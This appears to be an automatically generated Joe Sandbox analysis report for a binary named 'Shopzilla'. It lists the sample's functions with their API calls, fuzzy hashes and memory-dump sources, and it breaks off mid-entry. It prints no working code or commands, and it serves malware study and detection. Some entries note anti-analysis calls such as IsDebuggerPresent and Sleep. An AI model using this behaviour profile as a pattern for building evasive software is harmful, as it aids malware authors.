API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 144f5af94d943480d36d389951f06cd61afa83af8249d10b620ede2dc82f263b
Instruction ID: 8ed3ceb842af4b811626e3af1bffedcbacf81806312d75b8a2cecb9160e1087e
Opcode Fuzzy Hash: 144f5af94d943480d36d389951f06cd61afa83af8249d10b620ede2dc82f263b
Instruction Fuzzy Hash: EDE012B5B0160342CA2466786944F9713DC9F48751714045DB95AE7283CE34E941C168

Function 00BA5E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

CALL, xrefs: 00BDE164

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 4861a9732acc232655f30df355c59e221971cc6397f1e5ca949fd0bd92f8a8aa
Instruction ID: f1798de45f9b5f2a077f842fde98879055af7fbe3c47ae1237032507425ae087
Opcode Fuzzy Hash: 4861a9732acc232655f30df355c59e221971cc6397f1e5ca949fd0bd92f8a8aa
Instruction Fuzzy Hash: 8C3239B0508301DFD724DF14C494A6ABBE1FF46304F1889ADE89A9B362D775ED85CB82

Function 00BB48B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00BB48FA

Strings

EA06, xrefs: 00BF0821

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 866d47e56321661fa11fd80c0547ecda0a79f02c78324b223ab7ce36db258a90
Instruction ID: 8aa0bd967ca0168bb1b498ea1308a03116a0b68c97a2f51b5a026a2d20f47853
Opcode Fuzzy Hash: 866d47e56321661fa11fd80c0547ecda0a79f02c78324b223ab7ce36db258a90
Instruction Fuzzy Hash: 15416B21A041586FDF21AB6488917FF7FE5EB45310F5840E5E9C2AB287C7B09D88C7A2

Function 00C1DF01 Relevance: 3.2, APIs: 2, Instructions: 227COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 00C1DFD4

Part of subcall function 00BA4D37: __itow.LIBCMT ref: 00BA4D62
Part of subcall function 00BA4D37: __swprintf.LIBCMT ref: 00BA4DAC

_wcscpy.LIBCMT ref: 00C1E063

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: __itow__swprintf_strcat_wcscpy
String ID:
API String ID: 1012013722-0
Opcode ID: 5c3e6387cecca34c06e9d76f544f8b47847955b331a259d9c2bfb376dfac2a24
Instruction ID: 1b1904f53653ed5d94c54c0a97643149832e5e512dc7904b13fabe519f37527e
Opcode Fuzzy Hash: 5c3e6387cecca34c06e9d76f544f8b47847955b331a259d9c2bfb376dfac2a24
Instruction Fuzzy Hash: 84911A35A00504EFCB28DF28C5919ADB7E5EF5A310B658499EC5ACF362DB30EE41DB81

Function 00BC0D68 Relevance: 3.1, APIs: 2, Instructions: 94sleepCOMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE ref: 00BC0E05
Sleep.KERNELBASE ref: 00BC0E17

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ChangeCloseFindNotificationSleep
String ID:
API String ID: 1821831730-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 9b522e3d3d81d830762d0d85ed8f1023677502f9b5f0104a0dde08eaff48bedc
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 7231D674A10106DBCB18EF98C4C0A69F7E6FB49300B6486E9E80ACB256D730EDC1DBC0

Function 00BB5F8B Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00BB5FEF

Part of subcall function 00BC34CE: __lock.LIBCMT ref: 00BC34D4
Part of subcall function 00BC34CE: DecodePointer.KERNEL32(00000001,?,00BB6004,00BF8675), ref: 00BC34E0
Part of subcall function 00BC34CE: EncodePointer.KERNEL32(?,?,00BB6004,00BF8675), ref: 00BC34EB

Part of subcall function 00BB5F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00BB5F18
Part of subcall function 00BB5F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00BB5F2D

Part of subcall function 00BB5240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00BB526C
Part of subcall function 00BB5240: IsDebuggerPresent.KERNEL32 ref: 00BB527E
Part of subcall function 00BB5240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00BB52E6
Part of subcall function 00BB5240: SetCurrentDirectoryW.KERNEL32(?), ref: 00BB5366

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 00BB602F

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 85fc026f06b33a230603e3dc761cd886b22300cc4c4770857705a82b34ce5906
Instruction ID: d39ee4d46ef54940b08f1db1d6d8fab6c065ece01bb3ed3cbd09b814d3282032
Opcode Fuzzy Hash: 85fc026f06b33a230603e3dc761cd886b22300cc4c4770857705a82b34ce5906
Instruction Fuzzy Hash: 24116A719083019BC320EF6AEC49B5EBFE8EF85710F104A5EF094872A1DBB099448B92

Function 00BB42F9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,?,?,00BB3E72,?,?,?,00000000), ref: 00BB4327
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,00000000,?,?,00BB3E72,?,?,?,00000000), ref: 00BF0697

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 00bfa61dd35fc75cb42ccd40e7046c5a85d33e73e871269a87e3265d3d684547
Instruction ID: b5fd7987d06e718f15276561b19735512f74b6f6f0587cc09d9b940c6def387a
Opcode Fuzzy Hash: 00bfa61dd35fc75cb42ccd40e7046c5a85d33e73e871269a87e3265d3d684547
Instruction Fuzzy Hash: 170180B0244208BFF3205E248C8AFB67ADCFB05768F14C259BAE46A1E1C7F15C498B14

Function 00BC0F16 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BC586C: __FF_MSGBANNER.LIBCMT ref: 00BC5883
Part of subcall function 00BC586C: __NMSG_WRITE.LIBCMT ref: 00BC588A
Part of subcall function 00BC586C: RtlAllocateHeap.NTDLL(00D20000,00000000,00000001,?,00000004,?,?,00BC0F33,?), ref: 00BC58AF

std::exception::exception.LIBCMT ref: 00BC0F4C
__CxxThrowException@8.LIBCMT ref: 00BC0F61

Part of subcall function 00BC86FB: RaiseException.KERNEL32(?,?,?,00C5AE78,?,?,?,?,?,00BC0F66,?,00C5AE78,?,00000001), ref: 00BC8750

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: 02e5b0c5d4fb59b1d34a81b5659fed3c2e734cb39e6cbca8a4dec6dfad78d174
Instruction ID: 899a225f0acb07395daaf51bc1b9838c1a18b6f3b3636a349c8a413c3a07766a
Opcode Fuzzy Hash: 02e5b0c5d4fb59b1d34a81b5659fed3c2e734cb39e6cbca8a4dec6dfad78d174
Instruction Fuzzy Hash: 95F0817152820DA6CB20BA68E811FDE7BE89F11351F5005ADFC1492181DFB19B90C6E5

Function 00BC574D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BC577C
__lock_file.LIBCMT ref: 00BC579D

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: dda28fe99becdac0072d34e17033b92471b878d7bca837beba97c73ca26734ec
Instruction ID: 8752cb65af9976e3a1421f871ea401175fbaed1575e0df504309ceaea1e340fe
Opcode Fuzzy Hash: dda28fe99becdac0072d34e17033b92471b878d7bca837beba97c73ca26734ec
Instruction Fuzzy Hash: 26014471801609EBCF22AF658C01E9E7BE1FF90760F14429EF8245A191DB719EE1DBA1

Function 00BC54F6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BC8C88: __getptd_noexit.LIBCMT ref: 00BC8C88

__lock_file.LIBCMT ref: 00BC553B

Part of subcall function 00BC6D6E: __lock.LIBCMT ref: 00BC6D91

__fclose_nolock.LIBCMT ref: 00BC5546

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: c3c1386d64534e2680279930e109aacb4e6a6e364c3ea2f5b366825390c7c1ae
Instruction ID: 0e17ac73726705e3488618c03133d4765d961249748f1db0cccbad435b8983a6
Opcode Fuzzy Hash: c3c1386d64534e2680279930e109aacb4e6a6e364c3ea2f5b366825390c7c1ae
Instruction Fuzzy Hash: 80F09071901B059AD720AB659C02F6E67E1AF50331F14828DB425AB1C2CF7C9E819B55

Function 00BC5DB0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00BC5DE4
__ftell_nolock.LIBCMT ref: 00BC5DEF

Part of subcall function 00BC8C88: __getptd_noexit.LIBCMT ref: 00BC8C88

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: 3c3ce4863297f9362954cb646c31a8d6e38faaad33c4abb2b28e03921ff7055b
Instruction ID: 330806f09819d0b9f6ad8d42729639bf196ab49a680e37ead030fc1fffef05fc
Opcode Fuzzy Hash: 3c3ce4863297f9362954cb646c31a8d6e38faaad33c4abb2b28e03921ff7055b
Instruction Fuzzy Hash: 21F0EC319016059AD720BB754C43FAE76D0AF40331F1042DDF011EB1C1CF789F825A65

Function 00BB5AC3 Relevance: 3.0, APIs: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BB5AEF
Shell_NotifyIconW.SHELL32(00000002,?), ref: 00BB5B1F

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: 901f5a61a6d0f018e96bad04abb14c57a49700deb9cfe49dc8f22a2c1d5427ff
Instruction ID: 28b916e74e66744ef4f6e5bf10372621c4611fbb54cb4ab7bb9888f877abe071
Opcode Fuzzy Hash: 901f5a61a6d0f018e96bad04abb14c57a49700deb9cfe49dc8f22a2c1d5427ff
Instruction Fuzzy Hash: D6F037719043189FDBB29F64DC45BE97BBC970170CF0001EDEA4896296DBB54B88CF55

Function 00C1C11D Relevance: 1.8, APIs: 1, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: LoadString$__swprintf
String ID:
API String ID: 207118244-0
Opcode ID: 2bd290865b5f7be10ab003e9c8119764c6b1cc9f0809d7aafa483e475803f57c
Instruction ID: a11ed005c5b2f80097813faf7fde41ad9ea41a0f7dfe8e9223dee4a9186cec84
Opcode Fuzzy Hash: 2bd290865b5f7be10ab003e9c8119764c6b1cc9f0809d7aafa483e475803f57c
Instruction Fuzzy Hash: CFB18F35A4010AEFCB14DF94C891DFEB7B5FF49310F60805AF925AB291DB70AA81DB90

Function 00BAA820 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c03eda3b5c9ef91a577066b92123074178f762d49d6b7b75f837565a4a164f2
Instruction ID: 4a68554ff93345acb5ee26d3c575294dbe82c969845fbf00e5bba1ec00c460d8
Opcode Fuzzy Hash: 7c03eda3b5c9ef91a577066b92123074178f762d49d6b7b75f837565a4a164f2
Instruction Fuzzy Hash: 2961BF70608206DFDB10DF50C881E7BB7E9EF4A300F1585ADE91A9B291E775ED80CB62

Function 00BAD679 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b0a5f59f33c87e989d49e4f452b5c7c7d4f1a33e69aa496a15ab04c2b4e9de2
Instruction ID: 15bc68d7c0a8c6b227bc67fd4b70d8b79b923300504382ee8d97bd43217083fd
Opcode Fuzzy Hash: 4b0a5f59f33c87e989d49e4f452b5c7c7d4f1a33e69aa496a15ab04c2b4e9de2
Instruction Fuzzy Hash: 78518F356042049FCB24EF68C991EBE77E5AF45710F1481E8F91AAB392CB70EE01DB90

Function 00BB343F Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00BB351A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 6d56029a1d4209a93ccb965244c023c537d6182e3f29dc5323de0a4681017de4
Instruction ID: 079512fe02a01cdab0423b45ec3ac2ae9d2c3c05bf0c1d9231e183913a7d791c
Opcode Fuzzy Hash: 6d56029a1d4209a93ccb965244c023c537d6182e3f29dc5323de0a4681017de4
Instruction Fuzzy Hash: 3F319E75604A02DFC724DF18D490AB1F7E0FF08710B54C6ADE98A8B751DBB0E981CB94

Function 00BB410A Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(00000000,?,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00BB41B2

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 017d1fcdea0f8494708686051d4d31e8ddb3199de754c82e976735cb280b2f87
Instruction ID: b5f87a84f5aa6bef3c9f3d95587cb94ec04f15deea15d4ea6746d49db1bdd48b
Opcode Fuzzy Hash: 017d1fcdea0f8494708686051d4d31e8ddb3199de754c82e976735cb280b2f87
Instruction Fuzzy Hash: 3E315E71A00619AFCB18DF6DC8806ADBBF5FF54310F148659E819A7712D7B0BDA4CB90

Function 00BDE20F Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00BDE21A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: a96bb78f253f2d9965abf01413b9f386b327557c6e15560b7ebdd454b2d8319c
Instruction ID: 42407c72a4dd43267b8d54ac8c87763256399857fccf39eedc6168f40f4324f0
Opcode Fuzzy Hash: a96bb78f253f2d9965abf01413b9f386b327557c6e15560b7ebdd454b2d8319c
Instruction Fuzzy Hash: D14116B4508341DFDB24DF14C494B1ABBE1BF45308F0989ACE8995B362D335EC85CB92

Function 00BB49C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB4B29: FreeLibrary.KERNEL32(00000000,?), ref: 00BB4B63

Part of subcall function 00BC53AB: __wfsopen.LIBCMT ref: 00BC53B6

LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,?,00BB27AF,?,00000001), ref: 00BB49F4

Part of subcall function 00BB4ADE: FreeLibrary.KERNEL32(00000000), ref: 00BB4B18

Part of subcall function 00BB48B0: _memmove.LIBCMT ref: 00BB48FA

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 7140a285e5608a3dfe229f55be9b0dbd297367045e262ff2c168b658d0b6fbc9
Instruction ID: d9cc84b1128d3ad340b2deec45fa90e21320c9ffbef3d27d746e4a19e11d1ae8
Opcode Fuzzy Hash: 7140a285e5608a3dfe229f55be9b0dbd297367045e262ff2c168b658d0b6fbc9
Instruction Fuzzy Hash: DF11C432650609ABCB10BB708C52FFE77E9EF40701F1084ADF581A6183EBB19A15AB94

Function 00BDE2F2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00BDE2FE

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
